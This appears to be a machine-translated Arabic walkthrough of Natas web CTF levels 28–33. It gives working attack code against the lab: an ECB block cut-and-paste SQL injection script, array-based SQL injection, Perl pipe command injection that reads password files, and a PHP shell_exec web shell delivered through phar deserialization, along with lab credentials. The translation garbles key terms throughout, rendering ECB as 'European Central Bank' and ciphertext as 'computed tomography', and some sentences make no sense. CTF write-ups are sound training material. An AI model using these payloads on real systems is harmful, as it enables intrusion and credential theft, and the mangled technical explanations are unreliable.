ناتاس ويب. مرور منصة CTF يهدف إلى استغلال ثغرات الويب. الجزء 5

صورة

في هذه المقالة ، سنتعامل مع تشغيل بعض هويات WEB باستخدام المناورات Natas كمثال. كل مستوى لديه حق الوصول إلى كلمة مرور المستوى التالي. يتم تخزين جميع كلمات المرور أيضًا في / etc / natas_webpass / files. على سبيل المثال ، يتم تخزين كلمة مرور natas5 في الملف / etc / natas_webpass / natas5 وهي للقراءة فقط للمستخدمين natas4 و natas5.

الأجزاء السابقة: الجزء 1 ، الجزء 2 ، الجزء 3 والجزء 4 .

المعلومات التنظيمية
خاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:

  • PWN.
  • التشفير (التشفير) ؛
  • تقنيات الشبكات (الشبكة) ؛
  • عكس (الهندسة العكسية) ؛
  • إخفاء المعلومات (Stegano) ؛
  • بحث واستغلال مواطن الضعف WEB.

بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.

حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك شخصيًا وسأجيب على الجميع .

يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.

المستوى 28


عند إرسال أي طلب ، نرى إعادة توجيه إلى صفحة أخرى مع طلب غريب وترميز base64 ، لا يعطي فك تشفيره شيئًا.

صورة

سوف نرسل أي طلب للاستعلام. حصلنا على خطأ يوضح أن إعادة التوجيه تستخدم التشفير ، وفي هذه الصفحة يتم إلغاء تشفير الطلب قبل نقله إلى قاعدة البيانات. وهذا يعني أننا نحتاج إلى تشفير حقننا وإرساله إلى الخادم ، لكننا لا نعرف المفتاح. لكن لدينا مشفر - هذا هو الخادم.

صورة

أولاً ، دعنا نتعامل مع التشفير. سوف نرسل سطرين مختلفين "qwerty" و "asdfgh" ونحلل كيفية تحويلهما.

صورة

استجابة لذلك ، نحصل على خطوط متطابقة ، والتي لها تسلسل مميز في مكان معين. منذ بداية ونهاية جهازي كمبيوتر (نص التشفير) هي نفسها ، يمكننا استخلاص الاستنتاجات التالية:

  • يستخدم الملحق الأولي ل OT (نص عادي) ؛
  • هناك إضافة أخيرة إلى OT ؛
  • يتم استخدام وضع البنك المركزي الأوروبي ( ECB ) ، حيث أن الكتل الأخيرة من التصوير المقطعي المحوسب (CT) في نفس الوقت مختلفة عن بعضها البعض ، أي أن الكتل مستقلة عن بعضها البعض.

الفكرة هي: نرسل استعلامًا إلى قاعدة البيانات للتشفير ، ولكن سيتم تحويله وبالتالي ، عند فك تشفيره ، لن يمر الحقن. من الضروري التعامل مع الوظائف الإضافية لحساب الكتل بدقة حيث سيتم تشفير حمولتنا. ثم بعد التشفير ، سنأخذ كتلنا من الطلب ونرسلها فقط إلى الخادم. على الخادم سيتم فك تشفيرها ، ولأنها بدون وظائف إضافية ، يتم تنفيذها.

يتم تقديم الفكرة في أربع صور:

  1. عرض 5 كتل.
  2. جهاز تشفير مع إضافات بداية ونهاية تشفير سلسلة فارغة.
  3. تشفير السلسلة "TEXTTEXTTEXTTEXT".
  4. نتخلص من الإضافات عن طريق إضافة العدد المطلوب من الأحرف قبل وبعد سطرنا لوضعه في كتلة منفصلة. نحن نأخذ من الكمبيوتر فقط الكتلة الثانية.

صورة

بهذه الطريقة ، تلقينا فقط سلسلة مشفرة لدينا على مفتاح غير معروف لنا !!!

البيانات المطلوبة:

  1. وضع التشفير (معروف - البنك المركزي الأوروبي)
  2. طول الكتلة (معروف - 16)
  3. طول الإضافة الأولية (غير معروف)
  4. طول نصنا (المعروف - "اختر كلمة المرور"
    كما نكتة من المستخدمين ")

من الضروري معرفة طول الملء الأولي. نظرًا لأن أول كتلتين متماثلتين ، سنرسل عددًا مختلفًا من الأحرف ، وبمجرد توقف الكتلة الثالثة عن التغيير ، سنجد عدد الأحرف اللازمة لاستكمالها. هذه 10 أحرف. أدناه هو تنفيذ الخوارزمية أعلاه.

import base64 import requests from urlparse import urlsplit from urllib2 import unquote def ChiperQuery(url, auth, query): resp = requests.post(url, auth=auth, data={'query': query}) query_param = unquote(urlsplit(resp.url)[3][6:]) byte_decode_query = bytearray(base64.b64decode(query_param)) return byte_decode_query def SendPayload(url, auth, payload): enc_payload = base64.b64encode(bytes(payload)) ret = requests.get(url + '/search.php', auth=auth, params={'query': enc_payload}) return ret.text url = "http://natas28.natas.labs.overthewire.org/" auth = requests.auth.HTTPBasicAuth("natas28", "JWwR438wkgTsNKBbcJoowyysdM82YjeF") query = "SELECT password AS joke FROM users" query += " " * (16-len(query)%16) plaintext = 'b'*10 + query + chr(16)*16 chip_query = ChiperQuery(url, auth, plaintext) st_pos = len(query) count = st_pos+16 result = SendPayload(url, auth, chip_query[st_pos:st_pos+count]) print(result) 

صورة

نحصل على كلمة المرور

المستوى 29


من الصعب تخمين أن كود perl يستدعي وظيفة سطر الأوامر ويمرر الملف المحدد في البيانات (والذي يمكنك تحديده) إلى الأمر. الحقيقة هي أنه يمكننا إغلاق خط الأنابيب من "exec | read_command_file "في" exec | read_command | our_smd_command. "

صورة

ولكن الحقيقة هي أنه سيتم عرض فريقنا على وحدة التحكم ، وليس على الموقع. للقيام بذلك ، أضف الأمر التالي لاستبدال الأحرف في تدفقات الإدخال / الإخراج: "| tr `قبل` بعد `.

صورة

منذ اكتمال الأمر ، سوف نقرأ كلمة المرور من الملف المحدد. ولكن قيل لنا أننا لا نستطيع القيام بذلك ...

صورة

سنستخدم تصفية سطر الأوامر وإدراج علامات اقتباس في أي الأماكن التي سيتم محوها عند تنفيذ الأمر.

صورة

نحن نرفع كلمة المرور

المستوى 30


لنلقِ نظرة على الكود المصدري. يتم استخدام طريقة quote () هنا ، والتي تنجو من كل الأحرف الخاصة في السلسلة. ولكنه يهرب تمامًا في السلسلة ، مما يمنحنا الحق في تشغيل الحقن ، إذا استخدمنا ، على سبيل المثال ، صفيفًا (في هذه الحالة ، سيتم قبول عنصر صفري).

صورة

دعنا نأتي حمولة للطلب

 Select * FROM users where username = 'username' and password = 'password'; 

نظرًا لأننا نعرف أن اسم المستخدم هو natas31 ، فإننا نقدم الشرط الصحيح في كلمة المرور: '' أو 1. ثم سيصبح طلبنا هكذا

 Select * FROM users where username = 'natas31' and password = '' or 1; 

والآن يبقى إرسال مجموعة.

 import requests url = "http://natas30.natas.labs.overthewire.org/index.pl" s = requests.Session() s.auth = ('natas30', 'wie9iexae0Daihohv8vuu3cei9wahf0e') args = { "username": "natas31", "password": ["'' or 1", 2] } r = s.post(url, data=args) print(r.text) 

صورة

نحن نرفع كلمة المرور

المستوى 31


يصبح جوهر الخدمة على الفور واضحًا: من ملف CSV ، نحصل على الجدول بلغة html.

صورة

دعنا نرى الكود المصدري.

صورة

وهكذا ، ما هو الأكثر إثارة للاهتمام: إنه خط الوقت (<$ ملف>) ، بينما الملف هو السطر من المعلمة. وبالتالي ، فمن الممكن لتنفيذ التعليمات البرمجية.

صورة

إرسال أي ملف CSV واعتراض الطلب في Burp Suite.

صورة

الآن دعونا نضيف الأمر كمعلمة.
 ?/bin/cat%20/etc/natas_webpass/natas32%20| 


صورة

للاتصال بالتحميل من المعلمة ، أضف الأسطر التالية:

 -----------------------------716973545450730846281908502 Content-Disposition: form-data; name="file"; Content-Type: text/csv ARGV 

صورة

صورة

نحصل على كلمة المرور

المستوى 32


نفتح الصفحة التي يتم إخبارنا بها أننا بحاجة إلى إثبات تنفيذ التعليمات البرمجية وتنفيذ ملف webroot.

صورة

إذا نظرت إلى الكود ، فهذا هو نفسه تمامًا كما في المستوى السابق. ثم نستغل ضعف آخر مرة. دعونا العثور على ملف webroot. للقيام بذلك ، انظر إلى الدليل ، باستخدام تحميل: ls -la |

صورة

الحصول على قائمة الملفات. Webroot ليس هناك ، ولكن هناك كلمة مرور برنامج غريب.
نقوم بها.

صورة

صورة

نحصل على كلمة المرور للمستوى الأخير.

صورة

المستوى 33


مرة أخرى نموذج تحميل الملف.

صورة

لنلقِ نظرة على الكود المصدري.

صورة

وبالتالي ، يجب علينا تحميل ملف يصل حجمه إلى 4 ميغابايت في الخادم وإذا كان md5 لمحتويات الملف مساوٍ للقيمة المرجعية ، فسيتم تنفيذه في مترجم php. نحن ننظر أبعد من ذلك. يمكننا التحكم في اسم الملف ومحتوياته.

صورة

سأقول على الفور أن هذه نقطة ضعف معقدة التقيت بها قبل نصف عام. إنه يهدف إلى حقيقة أنه يمكننا تحميل ملف من أي نوع إلى الخادم وسيتم تنفيذ أي عمليات مع محتوياته. حول ملفات phar هو مكتوب هنا . باختصار ، أرشيف php خاص يمثل البيانات المتسلسلة. في هذه الحالة ، ستؤدي قراءة دفق phar إلى تنفيذ الكود. وبالتالي ، يمكنك إجراء تسلسل للرمز وإرساله إلى الخادم. عند حساب md5 ، سيتم قراءة الدفق - الأمر الذي سيؤدي إلى تنفيذ التعليمات البرمجية.

لذا قم أولاً بإنشاء ملف php يقرأ العلم.

 <?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?> 

قم بتحميله على الخادم. لا تنسَ تغيير الاسم في Burp Suite.

صورة

صورة

نحصل على استجابة الخادم ... حسنا. سنقوم الآن بإنشاء أرشيف phar ، والذي سيؤدي ، عند تنفيذه ، إلى تغيير القيم التي نحتاجها (ستظل علامة التجزئة صحيحة دائمًا واسم الملف الذي تم تحميله بالفعل على الخادم). لذلك سنجتاز الشيكات وسوف يقوم الخادم بتنفيذ shell.php.

 <?php class Shell { private $filename = "shell.php"; private $signature = True; private $init = false; } $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->addFromString("123.txt", '123'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $s = new Shell(); $phar->setMetadata($s); $phar->stopBuffering(); ?> 

قبل التحويل البرمجي في ملف /etc/php/xx/php.ini ، تحتاج إلى تغيير المعلمة phar.readonly إلى Off.

صورة

بعد ذلك ، قم بتنفيذ php shell.php ونحصل على ملف .phar. نرسلها إلى الخادم ونغير الاسم.

صورة

لذلك لدينا كل الملفات: الأرشيف وقذيفة. أنت الآن بحاجة إلى التسبب في قراءة الملف من الأرشيف ، مما يؤدي إلى تنفيذ التعليمات البرمجية.

صورة

نحصل على كلمة المرور

صورة

كان هذا المكان ناتاس. يمكنك الانضمام إلينا على Telegram .

Source: https://habr.com/ru/post/ar465363/


All Articles